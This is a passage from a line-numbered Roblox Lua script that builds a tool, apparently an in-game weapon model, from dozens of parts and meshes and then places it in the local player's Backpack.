  2629. SpecialMesh220.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2630. SpecialMesh220.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  2631. SpecialMesh220.MeshType = Enum.MeshType.FileMesh
  2632. SpecialMesh220.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  2633. Part221.Parent = Tool0
  2634. Part221.Material = Enum.Material.SmoothPlastic
  2635. Part221.BrickColor = BrickColor.new("Black")
  2636. Part221.Rotation = Vector3.new(0, 90, 0)
  2637. Part221.Anchored = true
  2638. Part221.FormFactor = Enum.FormFactor.Custom
  2639. Part221.Size = Vector3.new(3.39259124, 0.200000003, 0.200000003)
  2640. Part221.CFrame = CFrame.new(34.4185791, 1.55698204, -10.6962881, -4.37113918e-08, 8.7422741e-08, 1, 7.10542736e-15, 1, -8.74227553e-08, -1, 7.10542736e-15, -4.37113918e-08)
  2641. Part221.BottomSurface = Enum.SurfaceType.Smooth
  2642. Part221.TopSurface = Enum.SurfaceType.Smooth
  2643. Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2644. Part221.Position = Vector3.new(34.4185791, 1.55698204, -10.6962881)
  2645. Part221.Orientation = Vector3.new(0, 90, 0)
  2646. Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2647. SpecialMesh222.Parent = Part221
  2648. SpecialMesh222.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2649. SpecialMesh222.MeshType = Enum.MeshType.Wedge
  2650. SpecialMesh222.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2651. Part223.Parent = Tool0
  2652. Part223.Material = Enum.Material.SmoothPlastic
  2653. Part223.BrickColor = BrickColor.new("Black")
  2654. Part223.Reflectance = 0.20000000298023
  2655. Part223.Rotation = Vector3.new(0, 0, -180)
  2656. Part223.Anchored = true
  2657. Part223.FormFactor = Enum.FormFactor.Custom
  2658. Part223.Size = Vector3.new(0.20740746, 0.200000003, 0.200000003)
  2659. Part223.CFrame = CFrame.new(34.5, 1.06821096, -12.2999878, -1, 0, -4.37113812e-08, 3.55271368e-15, -1, 4.37113918e-08, -4.37113812e-08, 4.37113918e-08, 1)
  2660. Part223.BottomSurface = Enum.SurfaceType.Smooth
  2661. Part223.TopSurface = Enum.SurfaceType.Smooth
  2662. Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2663. Part223.Position = Vector3.new(34.5, 1.06821096, -12.2999878)
  2664. Part223.Orientation = Vector3.new(0, 0, 180)
  2665. Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2666. SpecialMesh224.Parent = Part223
  2667. SpecialMesh224.Scale = Vector3.new(1, 0.592593193, 0.555555344)
  2668. SpecialMesh224.MeshType = Enum.MeshType.Wedge
  2669. SpecialMesh224.Scale = Vector3.new(1, 0.592593193, 0.555555344)
  2670. Part225.Parent = Tool0
  2671. Part225.Material = Enum.Material.SmoothPlastic
  2672. Part225.BrickColor = BrickColor.new("Black")
  2673. Part225.Reflectance = 0.20000000298023
  2674. Part225.Anchored = true
  2675. Part225.FormFactor = Enum.FormFactor.Custom
  2676. Part225.Size = Vector3.new(0.20740743, 0.200000003, 0.740741551)
  2677. Part225.CFrame = CFrame.new(34.5, 1.48300803, -12.9407339, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2678. Part225.BottomSurface = Enum.SurfaceType.Smooth
  2679. Part225.TopSurface = Enum.SurfaceType.Smooth
  2680. Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2681. Part225.Position = Vector3.new(34.5, 1.48300803, -12.9407339)
  2682. Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2683. BlockMesh226.Parent = Part225
  2684. BlockMesh226.Scale = Vector3.new(1, 0.77777797, 1)
  2685. BlockMesh226.Scale = Vector3.new(1, 0.77777797, 1)
  2686. Part227.Parent = Tool0
  2687. Part227.Material = Enum.Material.SmoothPlastic
  2688. Part227.BrickColor = BrickColor.new("Really black")
  2689. Part227.Rotation = Vector3.new(180, 0, 90)
  2690. Part227.Anchored = true
  2691. Part227.FormFactor = Enum.FormFactor.Custom
  2692. Part227.Size = Vector3.new(0.200000003, 0.200000003, 1.34074676)
  2693. Part227.CFrame = CFrame.new(34.3814697, 1.42001903, -9.67034817, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  2694. Part227.BottomSurface = Enum.SurfaceType.Smooth
  2695. Part227.TopSurface = Enum.SurfaceType.Smooth
  2696. Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2697. Part227.Position = Vector3.new(34.3814697, 1.42001903, -9.67034817)
  2698. Part227.Orientation = Vector3.new(0, -180, -90)
  2699. Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2700. BlockMesh228.Parent = Part227
  2701. BlockMesh228.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2702. BlockMesh228.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  2703. Part229.Parent = Tool0
  2704. Part229.Material = Enum.Material.SmoothPlastic
  2705. Part229.BrickColor = BrickColor.new("Institutional white")
  2706. Part229.Transparency = 0.80000001192093
  2707. Part229.Rotation = Vector3.new(90, -90, 0)
  2708. Part229.Anchored = true
  2709. Part229.Size = Vector3.new(1, 1.20000005, 1)
  2710. Part229.CFrame = CFrame.new(34.5021973, 2.04355502, -11.0737925, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  2711. Part229.BottomSurface = Enum.SurfaceType.Smooth
  2712. Part229.TopSurface = Enum.SurfaceType.Smooth
  2713. Part229.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2714. Part229.Position = Vector3.new(34.5021973, 2.04355502, -11.0737925)
  2715. Part229.Orientation = Vector3.new(0, -90, -90)
  2716. Part229.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2717. CylinderMesh230.Parent = Part229
  2718. CylinderMesh230.Scale = Vector3.new(0.148148149, 0.0370370373, 0.148148149)
  2719. CylinderMesh230.Scale = Vector3.new(0.148148149, 0.0370370373, 0.148148149)
  2720. Part231.Parent = Tool0
  2721. Part231.Material = Enum.Material.SmoothPlastic
  2722. Part231.BrickColor = BrickColor.new("Black")
  2723. Part231.Anchored = true
  2724. Part231.FormFactor = Enum.FormFactor.Custom
  2725. Part231.Size = Vector3.new(0.200000003, 0.200000003, 0.474074662)
  2726. Part231.CFrame = CFrame.new(34.5, 1.47934496, -13.1999435, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2727. Part231.BottomSurface = Enum.SurfaceType.Smooth
  2728. Part231.TopSurface = Enum.SurfaceType.Smooth
  2729. Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2730. Part231.Position = Vector3.new(34.5, 1.47934496, -13.1999435)
  2731. Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2732. BlockMesh232.Parent = Part231
  2733. BlockMesh232.Scale = Vector3.new(0.814815104, 0.666666627, 1)
  2734. BlockMesh232.Scale = Vector3.new(0.814815104, 0.666666627, 1)
  2735. Part233.Parent = Tool0
  2736. Part233.Material = Enum.Material.SmoothPlastic
  2737. Part233.BrickColor = BrickColor.new("Black")
  2738. Part233.Rotation = Vector3.new(180, 90, 0)
  2739. Part233.Anchored = true
  2740. Part233.FormFactor = Enum.FormFactor.Custom
  2741. Part233.Size = Vector3.new(1.97037065, 0.200000003, 0.200000003)
  2742. Part233.CFrame = CFrame.new(34.4185791, 1.26816404, -9.98516846, 0, 0, 1, 0, -1, 0, 1, 0, -0)
  2743. Part233.BottomSurface = Enum.SurfaceType.Smooth
  2744. Part233.TopSurface = Enum.SurfaceType.Smooth
  2745. Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2746. Part233.Position = Vector3.new(34.4185791, 1.26816404, -9.98516846)
  2747. Part233.Orientation = Vector3.new(0, 90, 180)
  2748. Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2749. SpecialMesh234.Parent = Part233
  2750. SpecialMesh234.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2751. SpecialMesh234.MeshType = Enum.MeshType.Wedge
  2752. SpecialMesh234.Scale = Vector3.new(1, 0.518519938, 0.148148149)
  2753. Part235.Parent = Tool0
  2754. Part235.Material = Enum.Material.SmoothPlastic
  2755. Part235.BrickColor = BrickColor.new("Black")
  2756. Part235.Reflectance = 0.20000000298023
  2757. Part235.Anchored = true
  2758. Part235.FormFactor = Enum.FormFactor.Custom
  2759. Part235.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2760. Part235.CFrame = CFrame.new(34.6148682, 1.41269505, -10.5888662, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2761. Part235.BottomSurface = Enum.SurfaceType.Smooth
  2762. Part235.TopSurface = Enum.SurfaceType.Smooth
  2763. Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2764. Part235.Position = Vector3.new(34.6148682, 1.41269505, -10.5888662)
  2765. Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2766. BlockMesh236.Parent = Part235
  2767. BlockMesh236.Scale = Vector3.new(0.185185179, 0.259259105, 0.0370370373)
  2768. BlockMesh236.Scale = Vector3.new(0.185185179, 0.259259105, 0.0370370373)
  2769. Part237.Name = "AimPart"
  2770. Part237.Parent = Tool0
  2771. Part237.Material = Enum.Material.SmoothPlastic
  2772. Part237.BrickColor = BrickColor.new("Dark stone grey")
  2773. Part237.Reflectance = 0.20000000298023
  2774. Part237.Transparency = 1
  2775. Part237.Rotation = Vector3.new(180, 0, -180)
  2776. Part237.Anchored = true
  2777. Part237.FormFactor = Enum.FormFactor.Custom
  2778. Part237.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2779. Part237.CFrame = CFrame.new(34.4963379, 1.87192404, -12.1814537, -0.999999702, 5.96046448e-08, -4.88548757e-08, 5.96046448e-08, 0.999999702, -5.71382657e-08, 4.8854865e-08, -1.34268845e-08, -1)
  2780. Part237.BottomSurface = Enum.SurfaceType.Smooth
  2781. Part237.TopSurface = Enum.SurfaceType.Smooth
  2782. Part237.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2783. Part237.Position = Vector3.new(34.4963379, 1.87192404, -12.1814537)
  2784. Part237.Orientation = Vector3.new(0, -180, 0)
  2785. Part237.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2786. BlockMesh238.Parent = Part237
  2787. BlockMesh238.Scale = Vector3.new(0.259259194, 0.185185149, 0.111111082)
  2788. BlockMesh238.Scale = Vector3.new(0.259259194, 0.185185149, 0.111111082)
  2789. for i,v in pairs(mas:GetChildren()) do
  2790. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  2791. pcall(function() v:MakeJoints() end)
  2792. end
  2793. mas:Destroy()
  2794. for i,v in pairs(cors) do
  2795. spawn(function()
  2796. pcall(v)
  2797. end)
  2798. end
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